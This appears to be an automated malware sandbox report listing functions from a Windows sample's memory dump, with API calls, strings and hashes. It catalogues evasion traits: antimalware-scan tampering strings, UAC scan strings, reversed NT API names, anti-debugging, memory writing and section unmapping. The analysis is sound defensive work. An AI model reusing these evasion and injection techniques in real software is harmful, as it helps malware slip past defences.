NtSetSecurityObject, xrefs: 02EDA88F
SLGetLicenseInformation, xrefs: 02ED935F
advapi32, xrefs: 02EDA705
NtReadVirtualMemory, xrefs: 02EDA620
ntdll, xrefs: 02EDA625, 02EDA639, 02EDA6F1, 02EDA894, 02EDA8A8
bcrypt, xrefs: 02EDA578, 02EDA58C, 02EDA5A0
ScanBuffer, xrefs: 02ED8ECC, 02ED8F54, 02ED92EF, 02ED9404, 02ED94A1, 02ED97DA, 02ED9961, 02ED9AF4, 02ED9CD9, 02ED9DEE, 02ED9FAC, 02EDA11C, 02EDA28F, 02EDA483, 02EDA6A1, 02EDA7E7
NtOpenObjectAuditAlarm, xrefs: 02EDA634, 02EDA6EC
dbgcore, xrefs: 02EDA719, 02EDA72D
I_QueryTagInformation, xrefs: 02EDA700
ScanString, xrefs: 02ED8E02, 02ED8FAD, 02ED915B, 02ED9583, 02ED9769, 02ED98F0, 02ED9D7D, 02ED9F3B, 02EDA0AB, 02EDA21E, 02EDA509, 02EDA5B6
BCryptQueryProviderRegistration, xrefs: 02EDA587

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: a289300c3721ef04332c01e25fa601b0a3f324c517055e09fbf7bde0dbcc510a
Instruction ID: 2b4b5f18978fd0816e40d2ca5887ff3c68733cd139f07e13370c601800a33b9c
Opcode Fuzzy Hash: a289300c3721ef04332c01e25fa601b0a3f324c517055e09fbf7bde0dbcc510a
Instruction Fuzzy Hash: 72E20035A801589BDB11FBA4ED90BCEB3B6AF84300F60E1B5B0499B354DA70AE57CF51

Function 02EC5ACC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5AE8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5B06
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02EC0000,02EEE790), ref: 02EC5B24
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02EC5B42
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02EC5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02EC5B8B
RegQueryValueExA.ADVAPI32(?,02EC5D38,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02EC5BD1,?,80000001), ref: 02EC5BA9
RegCloseKey.ADVAPI32(?,02EC5BD8,00000000,?,?,00000000,02EC5BD1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02EC5BCB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02EC5BE8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02EC5BF5
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02EC5BFB
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02EC5C26
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02EC5C6D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02EC5C7D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02EC5CA5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02EC5CB5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02EC5CDB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02EC5CEB

Strings

Software\Borland\Delphi\Locales, xrefs: 02EC5B38
Software\Borland\Locales, xrefs: 02EC5AFC, 02EC5B1A

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 7798c7825a9e5bb3a98639b66603cdd54f05e43244ff6f9fae95cc2c236302ee
Instruction ID: afa187e1a2a35b2c1a5653b1cda3ac8cd8793e92152ad4e702fa37ef37d7c6e2
Opcode Fuzzy Hash: 7798c7825a9e5bb3a98639b66603cdd54f05e43244ff6f9fae95cc2c236302ee
Instruction Fuzzy Hash: 14511D71A8024C7EFB25D6E4CD45FEF77AC9B04344FA091A9BA08F6181D774EA468F60

Function 02ED894C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize,02F473A8,02EDA93C,UacScan), ref: 02ED8960
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02ED897A
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000888,00000000,02F473A8,02EDA587,ScanString,02F473A8,02EDA93C,ScanBuffer,02F473A8,02EDA93C,Initialize), ref: 02ED89B6

Part of subcall function 02ED7D78: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED7DEC

Strings

BCryptVerifySignature, xrefs: 02ED8973
bcrypt, xrefs: 02ED895F

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: 208eeaa5834835de414608ccac7a1d48fe6610e32474860d503147cf71e65127
Instruction ID: 8bc808925e4681d8657e180f56d80e51c55b7a5ea07325c01e8495c4a23f5f1f
Opcode Fuzzy Hash: 208eeaa5834835de414608ccac7a1d48fe6610e32474860d503147cf71e65127
Instruction Fuzzy Hash: BCF0AFF5AC03185EE310B7A8A889F77F7DC97A179CF005969B90C87140C7F068528B90

Function 02EDF744 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02EDF754
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02EDF766
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02EDF77D

Strings

KernelBase, xrefs: 02EDF74F
CheckRemoteDebuggerPresent, xrefs: 02EDF760

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: b771b83de3e3d8766eced4b4e86ae9bbdddf95abcd80c3265e32124976f44e05
Instruction ID: 1484ce592f13ebdd5deff76ec26af92d93df3240d35557d4041e9df55733ee4e
Opcode Fuzzy Hash: b771b83de3e3d8766eced4b4e86ae9bbdddf95abcd80c3265e32124976f44e05
Instruction Fuzzy Hash: 95F0A770944248BAEB10E7F888887DDFBA95B0932CF249394E436665C1E7710641CA61

Function 02EDDD70 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EC4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02EC4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02EDDE40), ref: 02EDDDAB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02EDDE40), ref: 02EDDDDB
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02EDDDF0
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02EDDE1C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02EDDE25

Part of subcall function 02EC4C60: SysFreeString.OLEAUT32(02EDF4A4), ref: 02EC4C6E

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: a4c16caef25de9f12cf7b9a0a67d52a0db71d15ba5c74ed782bbf0d87ee8f05d
Instruction ID: 2f23e145a5c1304a64d44b7727e161631db1c16225beceab7e427cd4582d83c8
Opcode Fuzzy Hash: a4c16caef25de9f12cf7b9a0a67d52a0db71d15ba5c74ed782bbf0d87ee8f05d
Instruction Fuzzy Hash: E9210376A80308BEEB11EAE4CD52FDE77BDEB48700F505465B600F71C0DA74AA068B54

Function 02EDE4B8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02EDE5F6

Strings

OpenSession, xrefs: 02EDE598
Initialize, xrefs: 02EDE4E6
ScanBuffer, xrefs: 02EDE53F

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 83e29477fd1996d1fa75e44f52ed3bb209fe27ff7675721726e4c892ada6406f
Instruction ID: eb9c4411a516ce80870fb177f4802288209a2db85141605308c786ec47c7e738
Opcode Fuzzy Hash: 83e29477fd1996d1fa75e44f52ed3bb209fe27ff7675721726e4c892ada6406f
Instruction Fuzzy Hash: 1F411235B801099BEB01FBE4D951ADE73FAEF88700F64E429F051AB285DA70AD138F55

Function 02EDDC8C Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EC4F20: SysAllocStringLen.OLEAUT32(?,?), ref: 02EC4F2E

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02EDDD5E), ref: 02EDDCCB
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02EDDD05
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02EDDD32
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02EDDD3B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: cfd591a89e1881cbec272aca3c3f7663f22fe70d58ce4e8a26c707cc58f7ef7a
Instruction ID: 3008783913ab1f82236957e4fbee9d6e5b69ced84dd7184d4dfcf6c6b1ec9d86
Opcode Fuzzy Hash: cfd591a89e1881cbec272aca3c3f7663f22fe70d58ce4e8a26c707cc58f7ef7a
Instruction Fuzzy Hash: 0121F172A80209BEEB10EAD4CD52FDEB7BDEB05B00F619565B600F71C0D7B06A068B64

Function 02ED7A2A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02ED7A9F

Strings

ntdll, xrefs: 02ED7A74
yromeMlautriVetacollAwZ, xrefs: 02ED7A47

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: 2c757b7cad364cb7abc810f798a565a4bd6299978c51befea0706c6933867833
Instruction ID: 3bdbfd59c2157de698c801dc72e6641c2dc1f91e7f1930711514e184008a9e02
Opcode Fuzzy Hash: 2c757b7cad364cb7abc810f798a565a4bd6299978c51befea0706c6933867833
Instruction Fuzzy Hash: DF116D79680208BFEB04EFA4DC51EAEF7FDEB48700F519465B900D7240D670AA12CB60

Function 02ED7A2C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02ED7A9F

Strings

ntdll, xrefs: 02ED7A74
yromeMlautriVetacollAwZ, xrefs: 02ED7A47

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$AllocateMemoryVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 4072585319-445027087
Opcode ID: f5feaa7c295e00830aada1cd503e03533b535776eae3ca36949a3dfa914e1b94
Instruction ID: 33d34f7a36f1e252ba801e7cbab221552f71e08e3b4a25cb0058c54fb8f9ec4d
Opcode Fuzzy Hash: f5feaa7c295e00830aada1cd503e03533b535776eae3ca36949a3dfa914e1b94
Instruction Fuzzy Hash: 79118079680208BFEB04EFA4DC51FAEF7FDEB48700F519465B900D7240D670AA12CB60

Function 02ED8400 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED8471

Strings

ntdll, xrefs: 02ED8448
yromeMlautriVdaeRtN, xrefs: 02ED841B

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2521977463-737317276
Opcode ID: 9c2e09782513d1ec45e1810abb5bcc8bf3f804cade6bb0905425882f30b8cf7d
Instruction ID: 985a66186b75bfa6b61769692d74d93bedc868ac0fb34ce3f094470fba4730f1
Opcode Fuzzy Hash: 9c2e09782513d1ec45e1810abb5bcc8bf3f804cade6bb0905425882f30b8cf7d
Instruction Fuzzy Hash: C2014C79680208BFEB10EFA8DC51EAAB7FEEB49704F519464F904D7640D674A912CB24

Function 02ED7D78 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02ED7DEC

Strings

Ntdll, xrefs: 02ED7DC3
yromeMlautriVetirW, xrefs: 02ED7D93

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: c82b454ac9138dfa09d0c9341138783f65305d55edb74ca1a4ca48122146924c
Instruction ID: fa131d9837de4061a2040a2b11a9d0b2ec50ecc4df9f93079f0eeed61712c1f7
Opcode Fuzzy Hash: c82b454ac9138dfa09d0c9341138783f65305d55edb74ca1a4ca48122146924c
Instruction Fuzzy Hash: 8C014C75680208AFDB00EFA8DC52E9EF7FDEB49B04F50A854B904DB640D770AD168B64

Function 02ED8670 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02ED81CC: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02ED823C,?,?,00000000,?,02ED7A7E,ntdll,00000000,00000000,02ED7AC3,?,?,00000000), ref: 02ED820A
Part of subcall function 02ED81CC: GetModuleHandleA.KERNELBASE(?), ref: 02ED821E

Part of subcall function 02ED8274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02ED82FC,?,?,00000000,00000000,?,02ED8215,00000000,KernelBASE,00000000,00000000,02ED823C), ref: 02ED82C1
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02ED82C7
Part of subcall function 02ED8274: GetProcAddress.KERNEL32(?,?), ref: 02ED82D9

NtUnmapViewOfSection.NTDLL(?,?), ref: 02ED86D5

Strings

noitceSfOweiVpamnUtN, xrefs: 02ED868B
ntdll, xrefs: 02ED86B8

Memory Dump Source

Source File: 00000000.00000002.2202985567.0000000002EC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02EC0000, based on PE: true

Associated: 00000000.00000002.2202835961.0000000002EC0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2203310640.0000000002EEE000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.0000000002F47000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2204249486.000000000303E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ec0000_x.jbxd

Similarity

API ID: HandleModule$AddressProc$SectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 3503870465-2520021413
Opcode ID: 78a5dbdd03b7be6d93f72084edc63028b69bc2e325ffe0f967169516fe5c0ae3
Instruction ID: 98b81b4b92334b9c914d10438d84f4c66b1efe36b961715e98f3caa56051feec
Opcode Fuzzy Hash: 78a5dbdd03b7be6d93f72084edc63028b69bc2e325ffe0f967169516fe5c0ae3
Instruction Fuzzy Hash: 8D018F386C0208AFEB04EBA4DD51E6EF7FEEB48B40F51D464B400D7640DA70A9038A24

Function 02EDDBB0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlI.N(?,?,00000000,02EDDC7E), ref: 02EDDC2C
